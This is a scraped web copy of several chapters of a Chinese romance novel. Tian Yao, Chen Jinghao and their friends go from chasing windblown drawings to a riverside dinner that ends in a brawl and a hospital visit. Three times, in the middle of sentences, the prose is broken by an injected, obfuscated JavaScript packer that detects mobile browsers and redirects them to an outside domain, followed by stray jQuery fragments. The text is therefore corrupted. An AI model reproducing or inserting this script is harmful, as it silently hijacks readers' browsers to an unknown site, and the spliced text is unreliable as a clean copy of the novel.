田遥放弃再修改,直接在右下角工工整整写上名字和日期。
她将画纸从夹子上取下,随手叠进了桌上的画稿里。
下一幅应该可以画得更好。
活动了一下腕关节,田遥又开始在纸上描绘人像的轮廓。
太阳躲进云层,屋里跟着暗了一些。外面刮起凉爽的大风,将桌子上的画稿都吹得卷起来,田遥的刘海也不断拂到眼睛。
她想把窗户关小点,站起来时,不小心把方桌带了一下。
那根火腿肠,滚到了一边。
夏风更大了,像一只无形的手,将桌上的画稿都托到空中,送往阳台。
这间房子没有防盗网,所以当初田遥没有犹豫太久,就租了下来。
那些画稿,或黑白的,或色彩斑斓的,一部分落到阳台地上,一部分直接飞到了阳台外面。
阳台的地面积水未干,田遥跑过去,手忙脚乱地把贴在地上的画稿撕起。
悬挂在上头的衣服还滴着水,水珠落在她的脖子上,沿着脊背慢慢下滑,留下一串凉瓦瓦的痕迹。
水彩画没上定画液,有部分色彩已经晕开了,素描的——
哎,总之都是毁了。
田遥将画稿放进一个空纸箱,刚才她把画都过了一遍,少了七八张,包括那张肖像画。
她扒着阳台往下看,画纸散在空出的一个停车位上,有几张吹得远的,已经躺到了后面的草地上。
停车位边,有个人正仰头看着她。
“你的吗?”
陈景皓虚指了一下那些纸张,可能光线有些刺眼,他眯着眼睛望着她。
“……我下去捡。”
田遥有些紧张,她缩回脑袋,连鞋子也没来得及换,趿着拖鞋噔噔噔往下跑。
跑得急了,一口气还没匀过来,她看见陈景皓在草地上已经帮她捡画,那口气更是喘不上来。
“……哎,我、我来吧。”
她弯腰捡起脚边的一张,陈景皓已经拿了几张向她走来。
“喏,看看还有没漏掉的。”
“……谢谢。”
田遥粗暴地一张张翻看,陈景皓环视周围,目力所及范围已经看不到画纸了。
陈景皓说:“齐了吗?”
田遥抬头心虚看了他一眼,那双眸子跟画里一样黝黑深邃。
“……好像、齐了吧。”
话毕,她又往陈景皓身后瞥了几眼。
陈景皓看她眼神有异,又问:“真的齐了?会不会有跑到车底的?”
车底……的确有可能。
田遥赶忙收回视线,耷拉着脑袋,又理了理那几张纸。
“……真的齐了。”
“呵。”
陈景皓轻声笑,似是不相信。
田遥只觉心头那根弦,又绷紧了一些。
陈景皓看了一眼她手中的纸,说:“今天没去画室啊。”
“放假了。”
“能看看?”
他指尖像抽搐,微微勾了一下。那动作,像拨在她心头,那根弦险些断了。
“……也没什么好看的。”
她还是把纸张往前递了递,陈景皓接过后,她摸了摸鼻尖。
捡的时候没留意,陈景皓这才发现纸上的内容很丰富。有男人夹着烟的手,有黄色的狸花猫,也有好几张绿苗的生长过程。不管画上内容多简单,右下角总有田遥的落款。
那两个字写得工工整整,就像很多时候的表情一样,干净利落。
“……向日葵?”
陈景皓把画转向她,田遥抿着嘴巴,点点头。
“嗯。”
陈景皓不懂画,判断画得好不好的标准就是像不像。看着那几棵绿苗,他的思绪似乎被拽回了那段日子。
他低着头,无声笑了。
最后,他的目光停在最底下的一幅画上。
那幅画,与众不同。
画用的还是水粉,色彩却格外浓烈。
也许是因为画的内容,陈景皓不禁想。
田遥画的是泰景江的日落,从酒吧天台的角度。
那片像被大火舔舐的天空,散发出比夏天更多的热情。
看到陈景皓一直低着头不说话,像沉到了画里。田遥忽然想到如果他看到那幅肖像画,会不会也是这样的反应。
“……怎么了,有什么问题吗?”她小声地问。
“啊。”陈景皓梦呓一般,回过神后把画还给她。“没,画得都挺好的。”
田遥像不确定,又看了看那幅画。
“是么。”
“我不懂艺术。”
陈景皓的目光掠过画纸,落到田遥的脚上。
她穿了一双白色的人字拖,白皙细长的脚背上青筋隐现。
陈景皓也不知怎么地,想了一下田遥穿一字拖鞋的样子——最后发现无法想象。
他稍稍撇开眼,瞧见她脚边几步之外,一只黄毛小猫从车底探头探脑,朝他们张望。
“后面,”陈景皓忽然开口,“后面那是你画的小猫吗?”
田遥顺着看向身后,那只小猫像是认出了她,喵呜了一声。
作为回应,田遥也跟着轻轻喵呜一下。
陈景皓:“……”
小猫蹦哒上前,一头蹭在田遥纤瘦的脚踝上。
田遥蹲下来,伸手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684833|173284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去挠它的后脑勺,另一只手还拿着那一沓纸。
小猫发出兴奋的咕噜声,伸了个懒腰,干脆身子一番,露出肚皮让她挠。
陈景皓退后一步,给她们腾出地方。
“看来你俩很熟啊。”
田遥以手当梳,一下一下顺着小猫肚皮的毛。
“嗯,我给它喂过几次火腿肠。”
田遥突然想起什么似的仰起头,此刻的陈景皓显得更加高大,又遥远。
他站在树荫底下,太阳又躲进了云层,田遥还是觉得他背后的光有些晃眼。
“你能帮我看一下它么,我上楼拿点东西。”
陈景皓怔忪片刻,指着小猫问:“它吗?”
田遥点头。
“跑了怎么办。”
“……跑了就跑了吧。”
田遥又噔噔噔跑上了楼,下来的时候,手里多了一根火腿肠。
陈景皓和小猫已经转战到了树底下的石桌边。他倚坐在石桌边缘,小猫就自顾自地玩着他的鞋带。
田遥撕开火腿肠的塑料纸,小猫停下来四周嗅了嗅,屁股一扭,屁颠颠地朝田遥跑去。
陈景皓:“……白眼狼。”
小猫吧嗒地啃起了火腿肠,田遥蹲在一边,低垂着眼帘,目光却望向旁边的车底。
陈景皓轻声笑了笑,他蹲到她身边,田遥的目光又回到小猫身上。
“你不怕猫吗。”田遥抚摸着小猫的后脑勺,小猫光顾着埋头大吃,没有搭理她。
“我为什么要怕猫啊。”陈景皓看着她白皙的手滑动在绒绒黄毛上,觉得十分和谐。
小猫看来是饿坏了,吃掉一整根火腿肠,开始舔手洗脸。
“耗子。”田遥忽然开口,声音低低的,隐约带着笑。
“嗯?”陈景皓自然而然地接口,却听到田遥笑出了声。
“皓子。”田遥又叫了一声,完了还带着扑哧一笑。
“……”
陈景皓站起来,走回石桌边,倚着石桌点了一支烟。
透过淡薄的烟雾,他看见田遥抬头,冲他又是一笑。
陈景皓再也忍不住,低头笑了。
陈景皓吸了一口烟,说:“你那么喜欢调戏它,干脆拐回去养着吧。”
田遥又挠了挠小猫,摇头说:“猫的寿命有十几年呢,我还没想清楚。”
“你现在天天喂它,它会对你养成依赖,放松对陌生人的警惕,这样也不利于它生存啊。”
田遥盖在小猫身上的手顿了一顿,声音难掩失落,“是吗……”
陈景皓愣了一下,把烟拿开一边,撇开眼不去看她。
小猫填饱肚子,看到不远处草丛的蝴蝶,又欢脱地蹦了过去。
田遥还一直蹲在那里,愣愣地看着小猫消失的方向,像忘记了时间。
陈景皓一支烟燃完,田遥才站起来,她可能有些眩晕,用手掩了掩眼睛。
陈景皓将烟头掐灭在旁边的垃圾桶顶,走近了一些。
“今晚还上班吗。”
田遥拿开手看着他,“什么事。”
“戴云辉请吃饭,你也来吧。”
看出她的踟蹰,陈景皓又说:“没事的,就几个人,都你认识的。”
田遥想了一下,点点头。
12. 第12章
吃饭的地方在江边一个大排档。
田遥是和陈景皓一起过去的,戴云辉早就到了那里,在座的还有方晓君,除此没了。
戴云辉看到他们,站了起来,冲他们大幅度地招手。
“这里这里。”
天边的晚霞还剩最后几片,大排档门前摆满了桌椅,地上为散热洒的水已经干了,大风扇呼哗哗的转着,偶尔有江风吹来,并不算太热。
“哟,小遥子。”戴云辉一如既往的热情,拍了拍田遥的肩头。
陈景皓扯了扯嘴角,“……窑子还分大小啊。”
方晓君听后扑哧一笑。出了酒吧,那份凌厉的气势弱了许多,她看上去倒是平易近人。
田遥淡淡看了陈景皓一眼,连眉毛也没挑。
陈景皓干干笑了笑,替她拉开一个沙滩椅。
“来,坐。”
方晓君和戴云辉交换了一个眼色,笑得有些暧昧。
田遥不知这次聚餐的名头,也不懂他们为什么叫上她,她答应的理由无非就是那个——陈景皓也来。
戴云辉把菜单往田遥跟前推,问想吃什么,随便点。
田遥只扫了一眼,说:“都行。”
戴云辉又朝陈景皓抬了下下巴,“皓哥呢。”
陈景皓侧着头,咬着烟正要点,那根烟随着说话声一上一下翘着。
“你们点就行了。”
于是戴云辉和方晓君两个脑袋凑在一块,对着菜单琢磨。
好一会后,方晓君招来服务员,这个那个点了五六样,又喊了四瓶啤酒。
方晓君放下菜单,朝田遥抬了抬下巴。
“田遥,你要喝点什么饮料?”
“不是点了啤酒了吗。”
方晓君了然地笑笑,跟服务员说:“就先这些。”
服务员收起桌上的菜单,连着下单的纸夹一起带走。
方晓君站起来给他们都倒了茶,坐下时候笑看着田遥:“听说你住在我哥家对面啊。”
我哥。
田遥细细揣摩这个词,片刻才缓过神。
“啊——是。”田遥不由望了陈景皓一眼。
他没有看她,手里转着那只银灰色的打火机,青白色的烟随着空气的晃动,一扭一扭的。
“嘿,那么有缘啊。”
方晓君手支着下巴,状似无意地斜了陈景皓一眼,笑容更加隐晦。
“你们之前就认识了吗。”
“之前?”
“唔,你来我们酒吧之前。”
“哦——是吧。”
“哇哦,那么有缘啊。说说怎么认识的。”
“……”
田遥不知道陈景皓背后跟她说了些什么,方晓君这番发射连珠炮的架势,她有些招架不住。
“那么八卦。”
一直闷头抽烟的陈景皓忽然开口,他朝方晓君的方向,直直吹了一口烟。
“我靠——!”
方晓君往后一靠,皱着眉头以手扇风。
戴云辉在旁嘿嘿一笑,拿着没开封的筷子敲桌沿,笃笃的两下带着落井下石的欢快。
“皓哥,你那么嚣张,不怕我姐夫来收拾你吗。”
“喂——!”方晓君炸毛了,“你哪壶不开提哪壶是不是——!”
方晓君扬起手,准备要拍他。戴云辉警惕地偏过身子,两掌推出护在胸前。
“晓君姐,冷静——冷静——!不就是失恋吗,多大个事啊。又不是没经历过——哎哟!”
方晓君往他脚踝踹了一脚,心满意足地又坐正到椅子上。
戴云辉气短地瞟了她一眼,嘀咕了一句。
“……难怪被甩。”
“你说什么——!”
“没——!”
两人闹完,方晓君的兴致又绕回田遥身上。
“哎,田遥,你有男朋友吗?”
陈景皓夹着烟的手顿了一下,眼光匆匆掠了田遥一眼。
她表情没有什么起伏,只是摇摇头。
“……没有啊。”
方晓君一下来了热情,或者说,更有热情。
“没有正好啊。喏喏,我认识挺多不错的单身男人,要不给你介绍一个呗。你喜欢怎样的男人?”
喜欢怎样的男人?
田遥微微一愣,思绪被她牵着走。
脑子里开始飞进许多繁复的画面,乱糟糟的一团。最后一切又像玻璃遭到枪击,嘭地一声破碎。碎片如时光倒流,又重组成一幅完整的画面。
夕阳似火,江水镀金。
一个男人颀长健实的背影立在栏杆边,手里的香烟升起一股细长的白烟。
田遥捂着暖和的茶杯,笑了笑,说:“这个……不用了吧。”
方晓君摆摆手,说:“哎,你不用不好意思——”
这回田遥才发觉,方晓君岂止平易近人,简直热情似火。
“我说——”陈景皓往旁边瞌了一下烟灰,眼睛因为笑容微微眯着,“你自己的问题还没解决呢,就有闲心给人介绍对象了啊。那些男人,不会都是你挑剩后减价处理的吧。”
方晓君小手一挥,吊起眼梢道:“切,我有那么损吗,你以为像你啊。”
“哎,小遥子说没有你就真信啊。她怎么可能没男朋友。”戴云辉朝田遥暧昧笑着,捣了捣她的胳膊肘,“是上次来找你那个吧。就那——在酒吧碰见的,挺高瘦斯文的。啊——”
戴云辉抓抓头发,想起什么似的。
“他还等你下班来着,你要说不是你男朋友啊——我可不信。”
他指的是温礼。
方晓君兴致更浓,拉了一下他的手臂。
“是吗,什么时候,我怎么没见过啊。”
她又看向田遥,“哎,有男朋友还躲着藏着,这不厚道啊。”
田遥偷偷瞥了陈景皓一眼,他只顾着抽烟,貌似对聊天内容不甚感冒。
田遥口气有些无奈了。
“我没骗你们。他只是我多年的同学,不是男朋友。”
听田遥说得认真,方晓君有些兴趣寡然。
所幸,点的菜陆续端了上来,方晓君的嘴巴又有了用武之地。
客人渐渐稠密起来,喧闹声此起彼伏,有在交谈,有在猜码,也有熊孩子发杀猪般的嚎叫。
一切的一切,热闹得就如同田遥和陈景皓一起吃烤鱼那个夜晚。
只不过这次,田遥觉得自己也融入了这热闹之中。
戴云辉撬开啤酒盖子,给他们倒酒。橙黄的液体无声流入玻璃杯,他技术不错,满杯时上头只浮起薄薄的一层泡沫。
酒倒完,戴云辉端起杯子就一口闷的架势,被陈景皓适时拦住了。
“喝那么急干嘛,先吃东西。等会醉得乱七八糟又要我把你给抬回去。”
田遥伸向杯子的手半路停住,打了个弯绕回来。
第一次吃饭时,陈景皓也说过类似的话。
她微微低头,嘴角扬起小弧度。
戴云辉打了一个干哈哈,抿了一口就放下,乖乖地拿起筷子。
垫了肚子,戴云辉就活泛起来,拉着方晓君玩“棒子老虎虫子鸡”。
他们从筷子筒里抽出两双新筷子,一下一下敲打着桌沿,嘴里跟着念——
“棒子棒子——虫子!”
“棒子棒子——虫子!”
“棒子棒子——鸡!”
“棒子棒子——老虎!”
“你输了!喝!”方晓君咧嘴笑,给戴云辉满上酒。
戴云辉看着那杯酒叹气,“母老虎啊真是——”
方晓君阴凉凉地说:“谁让你叫鸡啊!”
“……”戴云辉不跟她废话,举起酒杯利落地喝光,末了,还把酒杯倒转过来,一滴不剩。“哼,怕你啊。再来!”
田遥看着,不觉有些出神了,夹菜的动作也慢起来。
陈景皓忽然将身子侧向她,说:“你会玩么。”
周围嘈杂一片,陈景皓靠得很近,才能让她听见。
田遥只觉耳边被一股热气拥裹,混杂着香烟和啤酒的味道,浓烈又真切。
她耳根子一下红了。
她低声说:“不会呢。”
陈景皓笑了一下,慢慢坐正,“嗯,那就多吃菜,少喝酒。”
“你怎么不跟他们玩呢。”
陈景皓又笑了笑,他结实的胸膛因为他的笑容,轻轻颤动。
他耸耸肩,“都不用我出马,晓君就能把他放倒了。”
他的口气里,带了点自豪感。
田遥心念一动,说:“你可以教我么。”
“啊?”或许周围太吵,或许她说得很小声,陈景皓没听清。
田遥重复,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684834|173284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你教我玩。”
陈景皓笑容微微一顿,换成另一种淡淡的笑意。
“好啊。”
“坐近点,听不清。”
田遥顺从地将椅子挪近了一些。
“……”陈景皓似乎觉得不够,自己起来把凳子拖近了一点。
“棒子打老虎,老虎吃鸡,鸡吃虫子,虫子吃棒子。”陈景皓说,“规则就这样简单,懂么。”
田遥想了一会,说:“懂了。”
“那开始了啊。”陈景皓抽出一双筷子给她,“先预热一下。”
刚开始,田遥叫得很慢,陈景皓很有耐心地陪着减慢速度。三回之后,田遥赢了一回,适应了游戏规则。
陈景皓有了点摩拳擦掌的架势,说:“那我们正式开始了啊。你赢我喝一杯,我赢你半杯。”
田遥的筷子还抵在桌沿,她望着陈景皓缓缓开口:“为什么我只喝半杯。”
“……”
这不公平。陈景皓听明白了她的潜台词,抬眼正和眉峰微蹙的田遥对上眼。
他立马想起了上回在饺子馆,她也是这么定定看他,坚持要付钱。
陈景皓撇开眼,笑笑:“……好,一杯,你也喝一杯。”
田遥还是那样慢条斯理,比起戴云辉和方晓君,他们这一对玩得,更像在谈天说地。
输赢基本保持三七开,田遥发现,她竟然是赢多的那一个。
不记得玩了几局,陈景皓脸颊泛起红晕,田遥开始有了点醉意。
但她脑仁还算清醒,陈景皓喝光一杯,杯子顿到桌上,她筷子也放了下来。
田遥看着他,“陈景皓,你故意让着我是吧。”
陈景皓笑了,“我怎么让你啊。”
田遥:“不然我怎么赢了那么多。”
陈景皓摊摊手,“我哪知道你接下来会叫什么啊。”
“……”
好像也是。田遥说不出来,她挪正身子,重新对着那桌菜,捡起筷子挑起一块肉。
陈景皓笑得更欢了,他长手一伸,大大的手掌落在田遥的发顶。
田遥一时僵住,陈景皓没发觉,他轻抚了几下,就收回手,浑不在意地自斟自饮。
田遥的双颊更红了,温度灼到耳根。
他不经意的一下,当真比喝了十瓶啤酒更要命。
田遥讷讷地夹菜,送进嘴里一点滋味也没有,只觉全身的注意力都集中到头顶,去感受他留下的温度。
“啊,我不行了——”戴云辉酒杯重重顿到桌上,嘴角还漏着酒,他手撑在桌沿,脑袋低垂。
“哈哈哈,男人怎么能说不行呢——”方晓君也酡红了脸,可依然精神,“再来——!”
“不行了不行了——”戴云辉摆摆手站起来,“我先放点水。”他扶着桌沿,颤颤巍巍地绕过人群,往厕所方向走。
方晓君咯咯笑着,“喂,别走错地方啊。”
戴云辉回头瞥了她一眼,那神情明显在说——“哪凉快呆哪儿去。”
戴云辉从厕所出来,在水池那洗了把脸,顿时清醒了几分。他边抹着脸边往外走,手抹不净水滴,他干脆撩起衣摆,擦了擦脸。
就埋头的几秒钟,他不小心撞上了一个人。
“哎哟——”一道娇滴滴的女声。
戴云辉抬起头,两手还握着衣摆,刚想道歉,看清了对方后——
“……苏丽,是你啊。”
戴云辉慢慢放下衣摆,那声溜到嘴边的对不起又滑回肚子。
苏丽抱着被撞疼的胳膊,冷眼看着衣冠不整的戴云辉,“是啊,是我怎么地——”
戴云辉想起她上次在酒吧闹事,脸也冷下来,“哟,傍上金主,气头足了啊。”
苏丽嗤了一声,“要你管。不像某些人,一辈子都得憋在吧台后面做酒保,做人家的跟屁虫,永远也出不了头。”
“你——”戴云辉气得鼻孔扩张,一根手指就要戳到苏丽浓妆艳抹的脸上。
“我什么我啊。”
“怎么了啊这是,都杵在这里干嘛。”
金伟全从苏丽后面走上来,嘴里叼着根烟。苏丽眼珠一转,立马粘过去,抱着金伟全的胳膊,一副委屈欲泪的模样。
“全哥,他摸我屁股。”
苏丽话音刚落,戴云辉便瞪圆了眼。
“我操——!你乱说什么呢?!”
13. 第13章
苏丽扯着金伟全的胳膊,声音万分委屈:“全哥,他摸我屁股。”
戴云辉登时瞠红眼,咬牙道:“我操——!你乱说什么?!”
“全哥,我说的是真的。”苏丽已泪眼婆娑,“以前在酒吧,他就老骚扰我。上班找我说话,下班了堵着我不让我回家,还老发短信打电话来。这回啊——”苏丽鼻孔朝天,“估计是看我跟了你,他心里嫉妒,才对我动手动脚的。”
“我——你——”戴云辉指着她,气得鼻孔扩张,手在颤抖,“苏丽!你这不要脸的!你有种再说一遍!”
苏丽偷看金伟全脸色,他目不转睛盯着戴云辉,一张大脸阴间多云。
“我只不过说了事实而已……”
“操——!老子什么时候骚扰过你,你他妈的嘴巴给我放干净点!”戴云辉胸膛起伏,跨出一步,“就你这贱胚,洗干净摆老子床上都不要!”
“全哥——”苏丽躲到金伟全身后,揪着他的衣摆,只露出半张脸,装出害怕的样子。
金伟全走前一步,离戴云辉更近了,他们都闻到彼此身上浓重的酒臭味,那味道夹杂着危险的讯号。
“你,陈景皓那的吧。”他往戴云辉胸膛推了一把,后者向后踉跄几步,撞到沙滩椅背上。
椅子上那人回头刚想发作,看见金伟全猪肝红的脸,还有攥紧的拳头,登时将话都咽了回去,乖乖地走到边上,让出地方。边上的人见势不妙,也紧紧盯着他们,纷纷做好闪开的准备。
“是又怎样。”戴云辉站直,他虽然瘦弱,但比金伟全高了一个头。两个人站在一起,像柳树和矮木墩。
“是又怎样——”金伟全学着他的语气重复,“妈的,老子不管你有没碰我女人,你算老几啊——”
戴云辉又被推后一步,沙滩椅跟着被撞到木桌,桌身摇晃,桌子中央咕噜冒着泡的半锅汤水洒出了一滩,两个装豆奶的玻璃瓶倒在桌上,滚了一遭稳住没掉地。
“在老子面前你也敢自称‘老子’,陈景皓没教你要守规矩吗?!这里又不是你们的地盘,你嚣张个卵啊——!”
戴云辉拳头攥紧,下唇咬出印子。
“呵呵。”金伟全怪笑两声,“我记得了,他应该没时间教你。他啊——”金伟全一下一下戳着自己的太阳穴,“时间和脑子都用来想着怎么上那个小清洁工了,哈哈哈哈——呃!”
戴云辉一拳挥出,金伟全的笑声被生生扼断。
“啊——”苏丽尖叫一声,吓得像只猴子往后蹿,全然不顾险些摔倒的金伟全。
金伟全抹了一把嘴角,咸腥味已蔓延口腔。
“我操/你妈!”金伟全看了一眼手里的殷红,侧头吐一口唾沫,握起拳头揍回去。
人群中冒出几个人,加入金伟全的阵营,戴云辉腹背受敌,很快落了下风。
旁边的人都退开,离得远远的,形成一个疏散扭曲的圆圈,个个脸上或多或少露出害怕,也没人敢上前劝架。
“妈的!老子看你还敢嚣张——!”
金伟全狠力踢向戴云辉小腹,戴云辉吃疼抱着脑袋蹲到地上。旁边一人见势踹了他肩膀一脚,戴云辉倒在地上,像只煮熟的虾子弓着身。任是如此,他也没求饶,嘴巴像拉紧的拉锁。
这边动静太大,那边陈景皓一桌也看过来。他们之间隔了七八桌,又加之前面的人要不伸长脖子、要不站了起来,他们看得并不真切。
“又打架了吗。”窝在沙滩椅里的方晓君如梦初醒般揉揉眼睛,交替看着那边和身边的空位,“啊——话说,呆毛怎么还没回来……”
陈景皓显然也想到同一点,他浓眉紧锁,站起来顺脚把椅子往后踢了踢。
“我过去看看,你们在这呆着。”
说罢,他大步向那边走去。
在酒吧呆久了,什么牛鬼蛇神没见过,方晓君哪肯乖乖坐着。她也站起来,走出两步,回头看了田遥一眼,“你在这呆着。”
田遥:“……”
陈景皓和方晓君一前一后,从人缝中穿过去。田遥没有犹豫,跟上他们。
陈景皓鹤立鸡群,从一颗颗黑乎乎的脑袋上方,瞧见躺在圈子中央的那撮红毛。他不由分说,扒开人群走进去。
“你们干什么——!都给我住手——!”
他声若洪钟,放在平时定能唬住这群小喽喽,但此时——他们都在人肉沙包上干得热火朝天,全然置若罔闻。
陈景皓也不废话,长臂一伸,揪住其一后领,将之撩开一边。旁边之人惊觉突变,才愣神片刻,又被陈景皓掀到地上。
小兵上阵,金伟全早就闲在一边。剩下那三人见来者不善,顿了一顿,瞧瞧目眦欲裂的陈景皓,又望望他们头儿,一时拿不准该上该退。
趁着间隙,陈景皓把戴云辉扶起来。
“你还行不,啊——喂,给我撑着点——”
戴云辉手臂从脑袋上拿下,猛地咳嗽,说不出话。他的脸万紫千红,比京剧脸谱还精彩。
眼角余光瞥见金伟全的冷眼阴笑,陈景皓薄唇抿成一道锋利的线。
金伟全杵在那里,既不出言阻止,也不抡胳膊动手,然而脸上显而易见的戾气,分明只有一个意思。
“他们只有两个人——!妈的,上啊——!怕什么——!”小地痞嗷的一声,朝其余人歪了歪脖子。
刚才被扔在地上的两人爬起,连灰尘也顾不上拍,和着那三人哄然而上。
陈景皓低骂一句,横腿扫出,踢翻其中一个。那人倒地,捂着肚子呻/吟。
青白色的灯光洒在带土的水泥地上,灰尘在半空轻扬。陈景皓迎着光,神色阴霾,双眼带上血丝,锐利的目光射向背光里的金伟全。
“全哥,看来今晚不客气是不行了啊。”
金伟全也不跟他废话,冷哼一声,黑夜将他的笑容染得愈发狰狞。
陈景皓搀着戴云辉,拳脚有些施展不开。猛虎难敌众猴,陈景皓路数并不狠辣,几番下来只被缠成一个平手。
“啊,呆毛——”人群中传来方晓君的惊呼,她已经站到最前排。陈景皓顺势将戴云辉往那边推出,方晓君踉跄几下,总算把他给稳住。
他只这么一下,后背就露出大片空门。眼见他卸下包袱,那几只小猴将不再是他敌手。一直旁观的金伟全左右看了一下,就近拿过桌上一个豆奶瓶,直直向陈景皓后脑砸去——
陈景皓只觉背部受到撞击,一股力量将他推前几步,几乎扑倒前面那人身上。
接着嘭的一声,那是玻璃爆裂的声音。
他回头,田遥正对着他,她微微弓着腰,凌乱的刘海挡住她的眉眼,那只扶在桌子上的手在颤抖。
桌子中央的火锅还在自顾自冒着泡泡,而她脚边,透明的玻璃碴撒了一地,混着奶白色液体。
看着突然蹦出的肉盾,金伟全也一下子愣住。
“田遥——”
田遥仿若没听见,忽地转身,单手抄起锅耳朵就往金伟全甩去。
她脑袋还眩晕,手劲也不足,幸而金伟全离得近,他正欲跳开,那半锅子滚烫油水大半泼到了他腿上。
“啊——!”
伴着铁锅落地的哐当声,金伟全摸着大腿吃痛地叫出声,鬼哭狼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684835|173284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嚎一般。
鬓角的发梢滑下几滴混浊的液体,田遥嘴角忽然露出一个笑容,另一手抄过一只啤酒瓶,逼近一步指着金伟全,低吼道:“你再敢动他试试——”
拿着酒瓶的手臂微微颤抖,她却没有放下。
她慢慢抬起头,那几撮刘海散到两边,露出那双眼睛没有以往的清淡,取而代之是眼里的血丝,还有眼底的火焰。
她倏然举起酒瓶,狠狠砸在金伟全脚边,金伟全往后缩了缩。那些绿色的碎片,棱角泛着尖锐而冰冷的光。
警笛声破空而来,金伟全一伙人面面相觑片刻,还是金伟全先反应过来。
“愣着干嘛,撤啊——!”
他跛着腿,骂骂咧咧往警笛相反方向钻去,走了几步回过头,看了田遥一眼,她身子轻微摇晃,却依然坚定地立在那里,死死盯着他。
“妈的,疯子!”
“喂——”
陈景皓快步走到她跟前,扶住她双臂,低头看着她。
“你感觉怎样了,啊——说句话——我马上送你去医院——”
她仰头看着他,完好无损的他,忽然轻轻笑了。
她的笑容,依旧清清淡淡,又带了点骄傲。像个小女孩,从熊孩子中守住了自己的巧克力。
“陈景皓,我没事。”
陈景皓愣怔住,回想刚才那个笑容,低喃一句。
“真是疯了……”
市六医院急诊科里,温礼像往常一样,换上白大褂,开始一晚的值班。他还在整理衣领和衣袖,外间传来敲门声。
“请稍等——”
他应过,匆匆理了一下外套,从里间出来。
门口走进一个护士,怀里抱着一本文件夹。
“温医生,刚来了个病人,头部被玻璃瓶砸伤了,需要你过去看一下。”
“好。”温礼从口袋掏出口罩戴上,跟着护士出门。
科室离清创室只有一个拐弯,温礼侧头看向她,说:“玻璃瓶砸伤……打架吗?”
“可不是吗。”护士点点头,“还有警察跟着过来呢,被砸伤的是个女的。那些人都一身酒味,估计都和高了。”
清创室里面来了好些人,一眼望过去乱糟糟的。
房间用屏风隔成两半,另一边放病床,这边摆了几张白桌子和椅子。
只有一个人坐着。那人穿着白色短袖、蓝色牛仔短裤,头发凌乱像被踩过的麦田。她背微微弓着,低头看着交叠在膝盖上的手。
边上一个护士看到他,叫道:“温医生。”
陈景皓闻声望过来,温礼瞥了他一眼,冲那个护士点点头,注意力转到伤者身上。
“嗯,我来看看。”
那人肩膀动了动,缓缓抬起头。顶灯的白光照在她脸上,明明双颊还泛着红晕,温礼只觉像看到了一张白纸。
“……小遥。”
“嗯。”
她低低应了一声,嘴角勾起一个小弧度。
她居然还能笑。
“你、你感觉怎样了?”
“我还好。”
有事的人更像是他自己。温礼站直身,目光落在陈景皓脸上,“你是和她一起来的吗?”
“是。”陈景皓收起探究之色,应道。
“挂了号了吗,需要局麻清创。”
陈景皓嘴巴动了动,刚想说话。温礼身后传来一阵急促而响亮的高跟鞋蹬地声,一个女人风风火火冲过来,她的长卷发随着脚步摇曳。
方晓君在温礼身旁刹住车,晃着手里几张黄色的纸,嚷道:“来了来了,钱都交好了。”
14. 第14章
温礼来到药柜旁准备针药,那个警察把方晓君叫到走廊外问话。田遥又恢复刚才那个姿势,低头看着自己的手,陈景皓只能看到她有些湿润的发顶。
温礼站到田遥身后,娴熟地剃去伤口周围的头发。
陈景皓眉头皱在一起,撇开了眼。
局麻前,田遥如雕塑一般,始终维持那个姿势,一声不吭。
屋里大多东西都是白色的,隐隐将一切衬得更加干净。那一个又一个被扔进垃圾桶的带血棉球,像整间屋子里唯一不合理的存在。
来的时候,田遥用方晓君的手帕捂着伤口,到医院时上面已然殷红一片。先前他只能看到她后脑勺濡湿的头发,现在……他见过更加血肉模糊的伤口,却没有哪一个让他这般压抑。
消毒水的味道混着他们身上的酒味,压迫得他有些喘不过气。他有些不自在地动了动身子。
田遥忽然开了口,“陈景皓,你是不是想抽烟。”
“嗯?”陈景皓还想着那个伤口,一时没回过神。
“你要想抽烟就去吧,一会我就好了。”
“……嗯。”
陈景皓脚步很快,他出了急诊科大厅,直直往医院门外走,边走边把烟点上。
门口路边的马路牙子上,戴云辉坐在那里,头埋在胸前,两腿曲着。脚边被踩灭的几个烟头,在地上留下黑色的印痕。他手拄在腿上,手里还夹着一支烟,但好像忘了吸。
“起来。”
陈景皓站到他面前,手垂在身侧,冷声喝道。
“皓哥……”戴云辉抬头看见他,把烟丢在地上踩灭,乖顺站起,却依旧低头。
“抬起头!”
戴云辉只得抬头,他比陈景皓矮一些,得稍稍仰起头。他一个眼睛已经肿得睁不开了。
陈景皓吸了一口烟,侧头吐出,声音平静面容冷峻,“谁先动手的。”
